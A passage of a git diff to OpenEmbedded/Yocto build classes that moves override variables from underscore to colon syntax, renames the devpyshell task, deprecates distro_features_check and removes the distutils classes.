+ if d.getVar("CVE_CHECK_COPY_FILES") == "1":
+ deploy_file = d.getVar("CVE_CHECK_RECIPE_FILE")
+ bb.utils.mkdirhier(os.path.dirname(deploy_file))
+ with open(deploy_file, "w") as f:
+ f.write(write_string)
+
+ if d.getVar("CVE_CHECK_CREATE_MANIFEST") == "1":
+ cvelogpath = d.getVar("CVE_CHECK_SUMMARY_DIR")
+ bb.utils.mkdirhier(cvelogpath)
+
+ with open(d.getVar("CVE_CHECK_TMP_FILE"), "a") as f:
+ f.write("%s" % write_string)
diff --git a/meta/classes/debian.bbclass b/meta/classes/debian.bbclass
index 6f8a599ccb..8367be9f37 100644
--- a/meta/classes/debian.bbclass
+++ b/meta/classes/debian.bbclass
@@ -4,7 +4,7 @@
# depends are correct
#
# Custom library package names can be defined setting
-# DEBIANNAME_ + pkgname to the desired name.
+# DEBIANNAME: + pkgname to the desired name.
#
# Better expressed as ensure all RDEPENDS package before we package
# This means we can't have circular RDEPENDS/RRECOMMENDS
@@ -14,6 +14,10 @@ AUTO_LIBNAME_PKGS = "${PACKAGES}"
inherit package
DEBIANRDEP = "do_packagedata"
+do_package_write_ipk[deptask] = "${DEBIANRDEP}"
+do_package_write_deb[deptask] = "${DEBIANRDEP}"
+do_package_write_tar[deptask] = "${DEBIANRDEP}"
+do_package_write_rpm[deptask] = "${DEBIANRDEP}"
do_package_write_ipk[rdeptask] = "${DEBIANRDEP}"
do_package_write_deb[rdeptask] = "${DEBIANRDEP}"
do_package_write_tar[rdeptask] = "${DEBIANRDEP}"
@@ -51,11 +55,11 @@ python debian_package_name_hook () {
return (s[stat.ST_MODE] & stat.S_IEXEC)
def add_rprovides(pkg, d):
- newpkg = d.getVar('PKG_' + pkg)
+ newpkg = d.getVar('PKG:' + pkg)
if newpkg and newpkg != pkg:
- provs = (d.getVar('RPROVIDES_' + pkg) or "").split()
+ provs = (d.getVar('RPROVIDES:' + pkg) or "").split()
if pkg not in provs:
- d.appendVar('RPROVIDES_' + pkg, " " + pkg + " (=" + d.getVar("PKGV") + ")")
+ d.appendVar('RPROVIDES:' + pkg, " " + pkg + " (=" + d.getVar("PKGV") + ")")
def auto_libname(packages, orig_pkg):
p = lambda var: pathlib.PurePath(d.getVar(var))
@@ -110,10 +114,10 @@ python debian_package_name_hook () {
if soname_result:
(pkgname, devname) = soname_result
for pkg in packages.split():
- if (d.getVar('PKG_' + pkg, False) or d.getVar('DEBIAN_NOAUTONAME_' + pkg, False)):
+ if (d.getVar('PKG:' + pkg, False) or d.getVar('DEBIAN_NOAUTONAME:' + pkg, False)):
add_rprovides(pkg, d)
continue
- debian_pn = d.getVar('DEBIANNAME_' + pkg, False)
+ debian_pn = d.getVar('DEBIANNAME:' + pkg, False)
if debian_pn:
newpkg = debian_pn
elif pkg == orig_pkg:
@@ -126,7 +130,7 @@ python debian_package_name_hook () {
newpkg = mlpre + newpkg
if newpkg != pkg:
bb.note("debian: renaming %s to %s" % (pkg, newpkg))
- d.setVar('PKG_' + pkg, newpkg)
+ d.setVar('PKG:' + pkg, newpkg)
add_rprovides(pkg, d)
else:
add_rprovides(orig_pkg, d)
diff --git a/meta/classes/deploy.bbclass b/meta/classes/deploy.bbclass
index 6d52908783..7fbffe996b 100644
--- a/meta/classes/deploy.bbclass
+++ b/meta/classes/deploy.bbclass
@@ -7,5 +7,6 @@ python do_deploy_setscene () {
sstate_setscene(d)
}
addtask do_deploy_setscene
-do_deploy[dirs] = "${DEPLOYDIR} ${B}"
+do_deploy[dirs] = "${B}"
+do_deploy[cleandirs] = "${DEPLOYDIR}"
do_deploy[stamp-extra-info] = "${MACHINE_ARCH}"
diff --git a/meta/classes/devicetree.bbclass b/meta/classes/devicetree.bbclass
index d8779c7943..2a62ae7bc8 100644
--- a/meta/classes/devicetree.bbclass
+++ b/meta/classes/devicetree.bbclass
@@ -15,10 +15,10 @@
SECTION ?= "bsp"
# The default inclusion of kernel device tree includes and headers means that
-# device trees built with them are at least GPLv2 (and in some cases dual
-# licensed). Default to GPLv2 if the recipe does not specify a license.
-LICENSE ?= "GPLv2"
-LIC_FILES_CHKSUM ?= "file://${COMMON_LICENSE_DIR}/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+# device trees built with them are at least GPL-2.0-only (and in some cases dual
+# licensed). Default to GPL-2.0-only if the recipe does not specify a license.
+LICENSE ?= "GPL-2.0-only"
+LIC_FILES_CHKSUM ?= "file://${COMMON_LICENSE_DIR}/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
INHIBIT_DEFAULT_DEPS = "1"
DEPENDS += "dtc-native"
@@ -32,7 +32,7 @@ PROVIDES = "virtual/dtb"
PACKAGE_ARCH = "${MACHINE_ARCH}"
SYSROOT_DIRS += "/boot/devicetree"
-FILES_${PN} = "/boot/devicetree/*.dtb /boot/devicetree/*.dtbo"
+FILES:${PN} = "/boot/devicetree/*.dtb /boot/devicetree/*.dtbo"
S = "${WORKDIR}"
B = "${WORKDIR}/build"
@@ -59,7 +59,7 @@ DT_BOOT_CPU ??= "0"
DTC_FLAGS ?= "-R ${DT_RESERVED_MAP} -b ${DT_BOOT_CPU}"
DTC_PPFLAGS ?= "-nostdinc -undef -D__DTS__ -x assembler-with-cpp"
-DTC_BFLAGS ?= "-p ${DT_PADDING_SIZE}"
+DTC_BFLAGS ?= "-p ${DT_PADDING_SIZE} -@"
DTC_OFLAGS ?= "-p 0 -@ -H epapr"
python () {
diff --git a/meta/classes/devshell.bbclass b/meta/classes/devshell.bbclass
index fdf7dc100f..62dc958d9a 100644
--- a/meta/classes/devshell.bbclass
+++ b/meta/classes/devshell.bbclass
@@ -34,7 +34,7 @@ python () {
d.delVarFlag("do_devshell", "fakeroot")
}
-def devpyshell(d):
+def pydevshell(d):
import code
import select
@@ -128,6 +128,7 @@ def devpyshell(d):
more = i.runsource(source, "<pyshell>")
if not more:
buf = []
+ sys.stderr.flush()
prompt(more)
except KeyboardInterrupt:
i.write("\nKeyboardInterrupt\n")
@@ -139,17 +140,17 @@ def devpyshell(d):
os.kill(child, signal.SIGTERM)
break
-python do_devpyshell() {
+python do_pydevshell() {
import signal
try:
- devpyshell(d)
+ pydevshell(d)
except SystemExit:
# Stop the SIGTERM above causing an error exit code
return
finally:
return
}
-addtask devpyshell after do_patch
+addtask pydevshell after do_patch
-do_devpyshell[nostamp] = "1"
+do_pydevshell[nostamp] = "1"
diff --git a/meta/classes/devtool-source.bbclass b/meta/classes/devtool-source.bbclass
index 280d6009f3..41900e651f 100644
--- a/meta/classes/devtool-source.bbclass
+++ b/meta/classes/devtool-source.bbclass
@@ -199,6 +199,7 @@ python devtool_post_patch() {
# Run do_patch function with the override applied
localdata = bb.data.createCopy(d)
localdata.setVar('OVERRIDES', ':'.join(no_overrides))
+ localdata.setVar('FILESOVERRIDES', ':'.join(no_overrides))
bb.build.exec_func('do_patch', localdata)
rm_patches()
# Now we need to reconcile the dev branch with the no-overrides one
@@ -216,7 +217,8 @@ python devtool_post_patch() {
# Reset back to the initial commit on a new branch
bb.process.run('git checkout %s -b devtool-override-%s' % (initial_rev, override), cwd=srcsubdir)
# Run do_patch function with the override applied
- localdata.appendVar('OVERRIDES', ':%s' % override)
+ localdata.setVar('OVERRIDES', ':'.join(no_overrides + [override]))
+ localdata.setVar('FILESOVERRIDES', ':'.join(no_overrides + [override]))
bb.build.exec_func('do_patch', localdata)
rm_patches()
# Now we need to reconcile the new branch with the no-overrides one
diff --git a/meta/classes/devupstream.bbclass b/meta/classes/devupstream.bbclass
index 7780c5482c..ba6dc4136c 100644
--- a/meta/classes/devupstream.bbclass
+++ b/meta/classes/devupstream.bbclass
@@ -4,8 +4,8 @@
#
# Usage:
# BBCLASSEXTEND = "devupstream:target"
-# SRC_URI_class-devupstream = "git://git.example.com/example"
-# SRCREV_class-devupstream = "abcdef"
+# SRC_URI:class-devupstream = "git://git.example.com/example;branch=master"
+# SRCREV:class-devupstream = "abcdef"
#
# If the first entry in SRC_URI is a git: URL then S is rewritten to
# WORKDIR/git.
@@ -16,8 +16,6 @@
# - If the fetcher requires native tools (such as subversion-native) then
# bitbake won't be able to add them automatically.
-CLASSOVERRIDE .= ":class-devupstream"
-
python devupstream_virtclass_handler () {
# Do nothing if this is inherited, as it's for BBCLASSEXTEND
if "devupstream" not in (d.getVar('BBCLASSEXTEND') or ""):
@@ -25,23 +23,32 @@ python devupstream_virtclass_handler () {
return
variant = d.getVar("BBEXTENDVARIANT")
- if variant not in ("target"):
- bb.error("Pass the variant when using devupstream, for example devupstream:target")
+ if variant not in ("target", "native"):
+ bb.error("Unsupported variant %s. Pass the variant when using devupstream, for example devupstream:target" % variant)
return
# Develpment releases are never preferred by default
d.setVar("DEFAULT_PREFERENCE", "-1")
- uri = bb.fetch2.URI(d.getVar("SRC_URI").split()[0])
+ src_uri = d.getVar("SRC_URI:class-devupstream") or d.getVar("SRC_URI")
+ uri = bb.fetch2.URI(src_uri.split()[0])
- if uri.scheme == "git":
+ if uri.scheme == "git" and not d.getVar("S:class-devupstream"):
d.setVar("S", "${WORKDIR}/git")
# Modify the PV if the recipe hasn't already overridden it
pv = d.getVar("PV")
proto_marker = "+" + uri.scheme
- if proto_marker not in pv:
+ if proto_marker not in pv and not d.getVar("PV:class-devupstream"):
d.setVar("PV", pv + proto_marker + "${SRCPV}")
+
+ if variant == "native":
+ pn = d.getVar("PN")
+ d.setVar("PN", "%s-native" % (pn))
+ fn = d.getVar("FILE")
+ bb.parse.BBHandler.inherit("native", fn, 0, d)
+
+ d.appendVar("CLASSOVERRIDE", ":class-devupstream")
}
addhandler devupstream_virtclass_handler
diff --git a/meta/classes/distro_features_check.bbclass b/meta/classes/distro_features_check.bbclass
index eeaa3b44cb..8124a8ca27 100644
--- a/meta/classes/distro_features_check.bbclass
+++ b/meta/classes/distro_features_check.bbclass
@@ -1,32 +1,7 @@
-# Allow checking of required and conflicting DISTRO_FEATURES
-#
-# ANY_OF_DISTRO_FEATURES: ensure at least one item on this list is included
-# in DISTRO_FEATURES.
-# REQUIRED_DISTRO_FEATURES: ensure every item on this list is included
-# in DISTRO_FEATURES.
-# CONFLICT_DISTRO_FEATURES: ensure no item in this list is included in
-# DISTRO_FEATURES.
-#
-# Copyright 2013 (C) O.S. Systems Software LTDA.
+# Temporarily provide fallback to the old name of the class
-python () {
- # Assume at least one var is set.
- distro_features = set((d.getVar('DISTRO_FEATURES') or '').split())
-
- any_of_distro_features = set((d.getVar('ANY_OF_DISTRO_FEATURES') or '').split())
- if any_of_distro_features:
- if set.isdisjoint(any_of_distro_features, distro_features):
- raise bb.parse.SkipRecipe("one of '%s' needs to be in DISTRO_FEATURES" % ' '.join(any_of_distro_features))
-
- required_distro_features = set((d.getVar('REQUIRED_DISTRO_FEATURES') or '').split())
- if required_distro_features:
- missing = set.difference(required_distro_features, distro_features)
- if missing:
- raise bb.parse.SkipRecipe("missing required distro feature%s '%s' (not in DISTRO_FEATURES)" % ('s' if len(missing) > 1 else '', ' '.join(missing)))
-
- conflict_distro_features = set((d.getVar('CONFLICT_DISTRO_FEATURES') or '').split())
- if conflict_distro_features:
- conflicts = set.intersection(conflict_distro_features, distro_features)
- if conflicts:
- raise bb.parse.SkipRecipe("conflicting distro feature%s '%s' (in DISTRO_FEATURES)" % ('s' if len(conflicts) > 1 else '', ' '.join(conflicts)))
+python __anonymous() {
+ bb.warn("distro_features_check.bbclass is deprecated, please use features_check.bbclass instead")
}
+
+inherit features_check
diff --git a/meta/classes/distrooverrides.bbclass b/meta/classes/distrooverrides.bbclass
index 9f4db0d771..bf3a2b2090 100644
--- a/meta/classes/distrooverrides.bbclass
+++ b/meta/classes/distrooverrides.bbclass
@@ -6,7 +6,7 @@
# This makes it simpler to write .bbappends that only change the
# task signatures of the recipe if the change is really enabled,
# for example with:
-# do_install_append_df-my-feature () { ... }
+# do_install:append:df-my-feature () { ... }
# where "my-feature" is a DISTRO_FEATURE.
#
# The class is meant to be used in a layer.conf or distro
@@ -22,8 +22,8 @@ DISTRO_FEATURES_OVERRIDES ?= ""
DISTRO_FEATURES_OVERRIDES[doc] = "A space-separated list of <feature> entries. \
Each entry is added to OVERRIDES as df-<feature> if <feature> is in DISTRO_FEATURES."
-DISTRO_FEATURES_FILTER_NATIVE_append = " ${DISTRO_FEATURES_OVERRIDES}"
-DISTRO_FEATURES_FILTER_NATIVESDK_append = " ${DISTRO_FEATURES_OVERRIDES}"
+DISTRO_FEATURES_FILTER_NATIVE:append = " ${DISTRO_FEATURES_OVERRIDES}"
+DISTRO_FEATURES_FILTER_NATIVESDK:append = " ${DISTRO_FEATURES_OVERRIDES}"
# If DISTRO_FEATURES_OVERRIDES or DISTRO_FEATURES show up in a task
# signature because of this line, then the task dependency on
diff --git a/meta/classes/distutils-base.bbclass b/meta/classes/distutils-base.bbclass
deleted file mode 100644
index 9f398d7051..0000000000
--- a/meta/classes/distutils-base.bbclass
+++ /dev/null
@@ -1,4 +0,0 @@
-DEPENDS += "${@["${PYTHON_PN}-native ${PYTHON_PN}", ""][(d.getVar('PACKAGES') == '')]}"
-RDEPENDS_${PN} += "${@['', '${PYTHON_PN}-core']['${CLASSOVERRIDE}' == 'class-target']}"
-
-inherit distutils-common-base pythonnative
diff --git a/meta/classes/distutils-common-base.bbclass b/meta/classes/distutils-common-base.bbclass
deleted file mode 100644
index 94b5fd426d..0000000000
--- a/meta/classes/distutils-common-base.bbclass
+++ /dev/null
@@ -1,25 +0,0 @@
-export STAGING_INCDIR
-export STAGING_LIBDIR
-
-# LDSHARED is the ld *command* used to create shared library
-export LDSHARED = "${CCLD} -shared"
-# LDXXSHARED is the ld *command* used to create shared library of C++
-# objects
-export LDCXXSHARED = "${CXX} -shared"
-# CCSHARED are the C *flags* used to create objects to go into a shared
-# library (module)
-export CCSHARED = "-fPIC -DPIC"
-# LINKFORSHARED are the flags passed to the $(CC) command that links
-# the python executable
-export LINKFORSHARED = "{SECURITY_CFLAGS} -Xlinker -export-dynamic"
-
-FILES_${PN} += "${libdir}/* ${libdir}/${PYTHON_DIR}/*"
-
-FILES_${PN}-staticdev += "\
- ${PYTHON_SITEPACKAGES_DIR}/*.a \
-"
-FILES_${PN}-dev += "\
- ${datadir}/pkgconfig \
- ${libdir}/pkgconfig \
- ${PYTHON_SITEPACKAGES_DIR}/*.la \
-"
diff --git a/meta/classes/distutils.bbclass b/meta/classes/distutils.bbclass
deleted file mode 100644
index 3759b58263..0000000000
--- a/meta/classes/distutils.bbclass
+++ /dev/null
@@ -1,87 +0,0 @@
-inherit distutils-base
-
-DISTUTILS_BUILD_ARGS ?= ""
-DISTUTILS_STAGE_HEADERS_ARGS ?= "--install-dir=${STAGING_INCDIR}/${PYTHON_DIR}"
-DISTUTILS_STAGE_ALL_ARGS ?= "--prefix=${STAGING_DIR_HOST}${prefix} \
- --install-data=${STAGING_DATADIR}"
-DISTUTILS_INSTALL_ARGS ?= "--root=${D} \
- --prefix=${prefix} \
- --install-lib=${PYTHON_SITEPACKAGES_DIR} \
- --install-data=${datadir}"
-
-DISTUTILS_PYTHON = "python"
-DISTUTILS_PYTHON_class-native = "nativepython"
-
-distutils_do_configure() {
- if [ "${CLEANBROKEN}" != "1" ] ; then
- NO_FETCH_BUILD=1 \
- ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py clean ${DISTUTILS_BUILD_ARGS}
- fi
-}
-
-distutils_do_compile() {
- NO_FETCH_BUILD=1 \
- STAGING_INCDIR=${STAGING_INCDIR} \
- STAGING_LIBDIR=${STAGING_LIBDIR} \
- ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py build ${DISTUTILS_BUILD_ARGS} || \
- bbfatal_log "'${PYTHON_PN} setup.py build ${DISTUTILS_BUILD_ARGS}' execution failed."
-}
-
-distutils_stage_headers() {
- install -d ${STAGING_DIR_HOST}${PYTHON_SITEPACKAGES_DIR}
- ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py install_headers ${DISTUTILS_STAGE_HEADERS_ARGS} || \
- bbfatal_log "'${PYTHON_PN} setup.py install_headers ${DISTUTILS_STAGE_HEADERS_ARGS}' execution for stage_headers failed."
-}
-
-distutils_stage_all() {
- STAGING_INCDIR=${STAGING_INCDIR} \
- STAGING_LIBDIR=${STAGING_LIBDIR} \
- install -d ${STAGING_DIR_HOST}${PYTHON_SITEPACKAGES_DIR}
- PYTHONPATH=${STAGING_DIR_HOST}${PYTHON_SITEPACKAGES_DIR} \
- ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py install ${DISTUTILS_STAGE_ALL_ARGS} || \
- bbfatal_log "'${PYTHON_PN} setup.py install ${DISTUTILS_STAGE_ALL_ARGS}' execution for stage_all failed."
-}
-
-distutils_do_install() {
- install -d ${D}${PYTHON_SITEPACKAGES_DIR}
- STAGING_INCDIR=${STAGING_INCDIR} \
- STAGING_LIBDIR=${STAGING_LIBDIR} \
- PYTHONPATH=${D}${PYTHON_SITEPACKAGES_DIR} \
- ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py install ${DISTUTILS_INSTALL_ARGS} || \
- bbfatal_log "'${PYTHON_PN} setup.py install ${DISTUTILS_INSTALL_ARGS}' execution failed."
-
- # support filenames with *spaces*
- # only modify file if it contains path and recompile it
- find ${D} -name "*.py" -exec grep -q ${D} {} \; \
- -exec sed -i -e s:${D}::g {} \; \
- -exec ${STAGING_BINDIR_NATIVE}/python-native/python -mcompileall {} \;
-
- for i in ${D}${bindir}/* ${D}${sbindir}/*; do
- if [ -f "$i" ]; then
- sed -i -e s:${PYTHON}:${USRBINPATH}/env\ ${DISTUTILS_PYTHON}:g $i
- sed -i -e s:${STAGING_BINDIR_NATIVE}:${bindir}:g $i
- fi
- done
-
- rm -f ${D}${PYTHON_SITEPACKAGES_DIR}/easy-install.pth
- rm -f ${D}${PYTHON_SITEPACKAGES_DIR}/site.py*
-
- #
- # FIXME: Bandaid against wrong datadir computation
- #
- if [ -e ${D}${datadir}/share ]; then
- mv -f ${D}${datadir}/share/* ${D}${datadir}/
- rmdir ${D}${datadir}/share
- fi
-
- # Fix backport modules
- if [ -e ${STAGING_LIBDIR}/${PYTHON_DIR}/site-packages/backports/__init__.py ] &&
- [ -e ${D}${PYTHON_SITEPACKAGES_DIR}/backports/__init__.py ]; then
- rm ${D}${PYTHON_SITEPACKAGES_DIR}/backports/__init__.py;
- rm ${D}${PYTHON_SITEPACKAGES_DIR}/backports/__init__.pyc;
- fi
-}
-
-EXPORT_FUNCTIONS do_configure do_compile do_install
-
-export LDSHARED="${CCLD} -shared"
diff --git a/meta/classes/distutils3-base.bbclass b/meta/classes/distutils3-base.bbclass
deleted file mode 100644
index 7dbf07ac4b..0000000000
--- a/meta/classes/distutils3-base.bbclass
+++ /dev/null
@@ -1,5 +0,0 @@
-DEPENDS += "${@["${PYTHON_PN}-native ${PYTHON_PN}", ""][(d.getVar('PACKAGES') == '')]}"
-RDEPENDS_${PN} += "${@['', '${PYTHON_PN}-core']['${CLASSOVERRIDE}' == 'class-target']}"
-
-inherit distutils-common-base python3native
-
diff --git a/meta/classes/distutils3.bbclass b/meta/classes/distutils3.bbclass
deleted file mode 100644
index 05a24bfe26..0000000000
--- a/meta/classes/distutils3.bbclass
+++ /dev/null
@@ -1,83 +0,0 @@
-inherit distutils3-base
-
-DISTUTILS_BUILD_ARGS ?= ""
-DISTUTILS_BUILD_EXT_ARGS ?= ""
-DISTUTILS_STAGE_HEADERS_ARGS ?= "--install-dir=${STAGING_INCDIR}/${PYTHON_DIR}"
-DISTUTILS_STAGE_ALL_ARGS ?= "--prefix=${STAGING_DIR_HOST}${prefix} \
- --install-data=${STAGING_DATADIR}"
-DISTUTILS_INSTALL_ARGS ?= "--root=${D} \
- --prefix=${prefix} \
- --install-lib=${PYTHON_SITEPACKAGES_DIR} \
- --install-data=${datadir}"
-
-DISTUTILS_PYTHON = "python3"
-DISTUTILS_PYTHON_class-native = "nativepython3"
-
-distutils3_do_configure() {
- if [ "${CLEANBROKEN}" != "1" ] ; then
- NO_FETCH_BUILD=1 \
- ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py clean ${DISTUTILS_BUILD_ARGS}
- fi
-}
-
-distutils3_do_compile() {
- NO_FETCH_BUILD=1 \
- STAGING_INCDIR=${STAGING_INCDIR} \
- STAGING_LIBDIR=${STAGING_LIBDIR} \
- ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py \
- build ${DISTUTILS_BUILD_ARGS} || \
- bbfatal_log "'${PYTHON_PN} setup.py build ${DISTUTILS_BUILD_ARGS}' execution failed."
-}
-distutils3_do_compile[vardepsexclude] = "MACHINE"
-
-distutils3_stage_headers() {
- install -d ${STAGING_DIR_HOST}${PYTHON_SITEPACKAGES_DIR}
- ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py install_headers ${DISTUTILS_STAGE_HEADERS_ARGS} || \
- bbfatal_log "'${PYTHON_PN} setup.py install_headers ${DISTUTILS_STAGE_HEADERS_ARGS}' execution for stage_headers failed."
-}
-distutils3_stage_headers[vardepsexclude] = "MACHINE"
-
-distutils3_stage_all() {
- STAGING_INCDIR=${STAGING_INCDIR} \
- STAGING_LIBDIR=${STAGING_LIBDIR} \
- install -d ${STAGING_DIR_HOST}${PYTHON_SITEPACKAGES_DIR}
- PYTHONPATH=${STAGING_DIR_HOST}${PYTHON_SITEPACKAGES_DIR} \
- ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py install ${DISTUTILS_STAGE_ALL_ARGS} || \
- bbfatal_log "'${PYTHON_PN} setup.py install ${DISTUTILS_STAGE_ALL_ARGS}' execution for stage_all failed."
-}
-distutils3_stage_all[vardepsexclude] = "MACHINE"
-
-distutils3_do_install() {
- install -d ${D}${PYTHON_SITEPACKAGES_DIR}
- STAGING_INCDIR=${STAGING_INCDIR} \
- STAGING_LIBDIR=${STAGING_LIBDIR} \
- PYTHONPATH=${D}${PYTHON_SITEPACKAGES_DIR} \
- ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py install ${DISTUTILS_INSTALL_ARGS} || \
- bbfatal_log "'${PYTHON_PN} setup.py install ${DISTUTILS_INSTALL_ARGS}' execution failed."
-
- # support filenames with *spaces*
- find ${D} -name "*.py" -exec grep -q ${D} {} \; \
- -exec sed -i -e s:${D}::g {} \;
-
- for i in ${D}${bindir}/* ${D}${sbindir}/*; do
- if [ -f "$i" ]; then
- sed -i -e s:${PYTHON}:${USRBINPATH}/env\ ${DISTUTILS_PYTHON}:g $i
- sed -i -e s:${STAGING_BINDIR_NATIVE}:${bindir}:g $i
- fi
- done
-
- rm -f ${D}${PYTHON_SITEPACKAGES_DIR}/easy-install.pth
-
- #
- # FIXME: Bandaid against wrong datadir computation
- #
- if [ -e ${D}${datadir}/share ]; then
- mv -f ${D}${datadir}/share/* ${D}${datadir}/
- rmdir ${D}${datadir}/share
- fi
-}
-distutils3_do_install[vardepsexclude] = "MACHINE"
-
-EXPORT_FUNCTIONS do_configure do_compile do_install
-
-export LDSHARED="${CCLD} -shared"
diff --git a/meta/classes/externalsrc.bbclass b/meta/classes/externalsrc.bbclass
index ea59d02ed9..abfe24bace 100644
--- a/meta/classes/externalsrc.bbclass
+++ b/meta/classes/externalsrc.bbclass
@@ -13,7 +13,7 @@
# called "myrecipe" you would do:
#
# INHERIT += "externalsrc"
-# EXTERNALSRC_pn-myrecipe = "/path/to/my/source/tree"
+# EXTERNALSRC:pn-myrecipe = "/path/to/my/source/tree"
#
# In order to make this class work for both target and native versions (or with
# multilibs/cross or other BBCLASSEXTEND variants), B is set to point to a separate
@@ -21,7 +21,7 @@
# the default, but the build directory can be set to the source directory if
# circumstances dictate by setting EXTERNALSRC_BUILD to the same value, e.g.:
#
-# EXTERNALSRC_BUILD_pn-myrecipe = "/path/to/my/source/tree"
+# EXTERNALSRC_BUILD:pn-myrecipe = "/path/to/my/source/tree"
#
SRCTREECOVEREDTASKS ?= "do_patch do_unpack do_fetch"
@@ -45,11 +45,11 @@ python () {
if bpn == d.getVar('PN') or not classextend:
if (externalsrc or
('native' in classextend and
- d.getVar('EXTERNALSRC_pn-%s-native' % bpn)) or
+ d.getVar('EXTERNALSRC:pn-%s-native' % bpn)) or
('nativesdk' in classextend and
- d.getVar('EXTERNALSRC_pn-nativesdk-%s' % bpn)) or
+ d.getVar('EXTERNALSRC:pn-nativesdk-%s' % bpn)) or
('cross' in classextend and
- d.getVar('EXTERNALSRC_pn-%s-cross' % bpn))):
+ d.getVar('EXTERNALSRC:pn-%s-cross' % bpn))):
d.setVar('BB_DONT_CACHE', '1')
if externalsrc:
@@ -68,14 +68,14 @@ python () {
url_data = fetch.ud[url]
parm = url_data.parm
if (url_data.type == 'file' or
+ url_data.type == 'npmsw' or
'type' in parm and parm['type'] == 'kmeta'):
local_srcuri.append(url)
d.setVar('SRC_URI', ' '.join(local_srcuri))
- if '{SRCPV}' in d.getVar('PV', False):
- # Dummy value because the default function can't be called with blank SRC_URI
- d.setVar('SRCPV', '999')
+ # Dummy value because the default function can't be called with blank SRC_URI
+ d.setVar('SRCPV', '999')
if d.getVar('CONFIGUREOPT_DEPTRACK') == '--disable-dependency-tracking':
d.setVar('CONFIGUREOPT_DEPTRACK', '')
@@ -86,7 +86,7 @@ python () {
if task.endswith("_setscene"):
# sstate is never going to work for external source trees, disable it
bb.build.deltask(task, d)
- else:
+ elif os.path.realpath(d.getVar('S')) == os.path.realpath(d.getVar('B')):
# Since configure will likely touch ${S}, ensure only we lock so one task has access at a time
d.appendVarFlag(task, "lockfiles", " ${S}/singletask.lock")
@@ -109,6 +109,15 @@ python () {
if local_srcuri and task in fetch_tasks:
continue
bb.build.deltask(task, d)
+ if task == 'do_unpack':
+ # The reproducible build create_source_date_epoch_stamp function must
+ # be run after the source is available and before the
+ # do_deploy_source_date_epoch task. In the normal case, it's attached
+ # to do_unpack as a postfuncs, but since we removed do_unpack (above)
+ # we need to move the function elsewhere. The easiest thing to do is
+ # move it into the prefuncs of the do_deploy_source_date_epoch task.
+ # This is safe, as externalsrc runs with the source already unpacked.
+ d.prependVarFlag('do_deploy_source_date_epoch', 'prefuncs', 'create_source_date_epoch_stamp ')
d.prependVarFlag('do_compile', 'prefuncs', "externalsrc_compile_prefunc ")
d.prependVarFlag('do_configure', 'prefuncs', "externalsrc_configure_prefunc ")
@@ -191,6 +200,7 @@ def srctree_hash_files(d, srcdir=None):
import shutil
import subprocess
import tempfile
+ import hashlib
s_dir = srcdir or d.getVar('EXTERNALSRC')
git_dir = None
@@ -198,6 +208,10 @@ def srctree_hash_files(d, srcdir=None):
try:
git_dir = os.path.join(s_dir,
subprocess.check_output(['git', '-C', s_dir, 'rev-parse', '--git-dir'], stderr=subprocess.DEVNULL).decode("utf-8").rstrip())
+ top_git_dir = os.path.join(s_dir, subprocess.check_output(['git', '-C', d.getVar("TOPDIR"), 'rev-parse', '--git-dir'],
+ stderr=subprocess.DEVNULL).decode("utf-8").rstrip())
+ if git_dir == top_git_dir:
+ git_dir = None
except subprocess.CalledProcessError:
pass
@@ -211,7 +225,17 @@ def srctree_hash_files(d, srcdir=None):
env = os.environ.copy()
env['GIT_INDEX_FILE'] = tmp_index.name
subprocess.check_output(['git', 'add', '-A', '.'], cwd=s_dir, env=env)
- sha1 = subprocess.check_output(['git', 'write-tree'], cwd=s_dir, env=env).decode("utf-8")
+ git_sha1 = subprocess.check_output(['git', 'write-tree'], cwd=s_dir, env=env).decode("utf-8")
+ submodule_helper = subprocess.check_output(['git', 'submodule--helper', 'list'], cwd=s_dir, env=env).decode("utf-8")
+ for line in submodule_helper.splitlines():
+ module_dir = os.path.join(s_dir, line.rsplit(maxsplit=1)[1])
+ if os.path.isdir(module_dir):
+ proc = subprocess.Popen(['git', 'add', '-A', '.'], cwd=module_dir, env=env, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+ proc.communicate()
+ proc = subprocess.Popen(['git', 'write-tree'], cwd=module_dir, env=env, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
+ stdout, _ = proc.communicate()
+ git_sha1 += stdout.decode("utf-8")
+ sha1 = hashlib.sha1(git_sha1.encode("utf-8")).hexdigest()
with open(oe_hash_file, 'w') as fobj:
fobj.write(sha1)
ret = oe_hash_file + ':True'
diff --git a/meta/classes/extrausers.bbclass b/meta/classes/extrausers.bbclass
index 32569e97db..a8ef660b30 100644
--- a/meta/classes/extrausers.bbclass
+++ b/meta/classes/extrausers.bbclass
@@ -14,10 +14,10 @@
inherit useradd_base
-PACKAGE_INSTALL_append = " ${@['', 'base-passwd shadow'][bool(d.getVar('EXTRA_USERS_PARAMS'))]}"
+PACKAGE_INSTALL:append = " ${@['', 'base-passwd shadow'][bool(d.getVar('EXTRA_USERS_PARAMS'))]}"
# Image level user / group settings
-ROOTFS_POSTPROCESS_COMMAND_append = " set_user_group;"
+ROOTFS_POSTPROCESS_COMMAND:append = " set_user_group;"
# Image level user / group settings
set_user_group () {
@@ -46,6 +46,9 @@ set_user_group () {
usermod)
perform_usermod "${IMAGE_ROOTFS}" "-R ${IMAGE_ROOTFS} $opts"
;;
+ passwd-expire)
+ perform_passwd_expire "${IMAGE_ROOTFS}" "$opts"
+ ;;
groupmod)
perform_groupmod "${IMAGE_ROOTFS}" "-R ${IMAGE_ROOTFS} $opts"
;;
diff --git a/meta/classes/features_check.bbclass b/meta/classes/features_check.bbclass
new file mode 100644
index 0000000000..3ef6b35baa
